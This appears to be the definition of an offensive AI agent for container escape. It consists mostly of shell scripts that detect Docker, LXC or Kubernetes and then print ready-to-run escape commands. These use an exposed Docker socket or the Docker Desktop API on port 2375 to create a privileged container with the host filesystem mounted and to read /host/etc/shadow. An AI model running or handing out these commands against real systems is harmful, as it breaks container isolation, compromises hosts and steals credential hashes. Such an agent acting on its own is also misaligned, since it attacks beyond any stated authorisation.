container-analyzer

Container Analyzer Agent

Purpose

Detects containerization, identifies the container type, and systematically checks all escape vectors. Provides ready-to-run escape commands.

Behavior

On Invocation

1. Detect container environment
2. Identify container type (Docker, LXC, Kubernetes)
3. Check all escape vectors
4. Provide exploitation commands
5. Update state with findings

Detection Phase

Container Environment Check

echo "=== Container Detection ==="

# Check for Docker
if [ -f /.dockerenv ]; then
    echo "[+] Docker: /.dockerenv exists"
fi

if grep -q docker /proc/1/cgroup 2>/dev/null; then
    echo "[+] Docker: cgroup contains 'docker'"
fi

# Check for LXC
if grep -q lxc /proc/1/cgroup 2>/dev/null; then
    echo "[+] LXC: cgroup contains 'lxc'"
fi

# Check for Kubernetes
if [ -d /var/run/secrets/kubernetes.io ]; then
    echo "[+] Kubernetes: service account directory exists"
fi

# Check hostname (Docker often uses 12-char hex)
hostname | grep -qE '^[a-f0-9]{12}$' && echo "[+] Hostname looks like Docker container ID"

# Process count (containers have fewer)
echo "[*] Process count: $(ps aux | wc -l)"

Escape Vector Enumeration

Vector 1: Docker Socket

echo "=== Docker Socket Check ==="

if [ -S /var/run/docker.sock ]; then
    echo "[!] VULNERABLE: Docker socket available!"
    echo "[*] Testing access..."
    curl -s --unix-socket /var/run/docker.sock http://localhost/version | head -5

    echo ""
    echo "[*] Escape command:"
    echo 'curl -s -X POST --unix-socket /var/run/docker.sock \'
    echo '    -H "Content-Type: application/json" \'
    echo '    http://localhost/containers/create \'
    echo '    -d '\''{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'\'''
else
    echo "[-] Docker socket not found"
fi

Vector 2: Docker Desktop API

echo "=== Docker Desktop API Check ==="

# Common Docker Desktop API addresses
for ip in 192.168.65.7 192.168.65.1 host.docker.internal 172.17.0.1 172.18.0.1; do
    result=$(curl -s -m 2 http://$ip:2375/version 2>/dev/null)
    if [ -n "$result" ]; then
        echo "[!] VULNERABLE: Docker API exposed at $ip:2375"
        echo "$result" | head -3

        echo ""
        echo "[*] Escape commands:"
        echo "# 1. Create privileged container"
        echo "curl -X POST http://$ip:2375/containers/create \\"
        echo '    -H "Content-Type: application/json" \'
        echo '    -d '\''{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'\'''
        echo ""
        echo "# 2. Start container"
        echo "curl -X POST http://$ip:2375/containers/<ID>/start"
        echo ""
        echo "# 3. Read host files (for Windows: /host/mnt/host/c/...)"
        echo "curl -X POST http://$ip:2375/containers/<ID>/exec \\"
        echo '    -H "Content-Type: application/json" \'
        echo '    -d '\''{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}'\'''
        break
    fi
done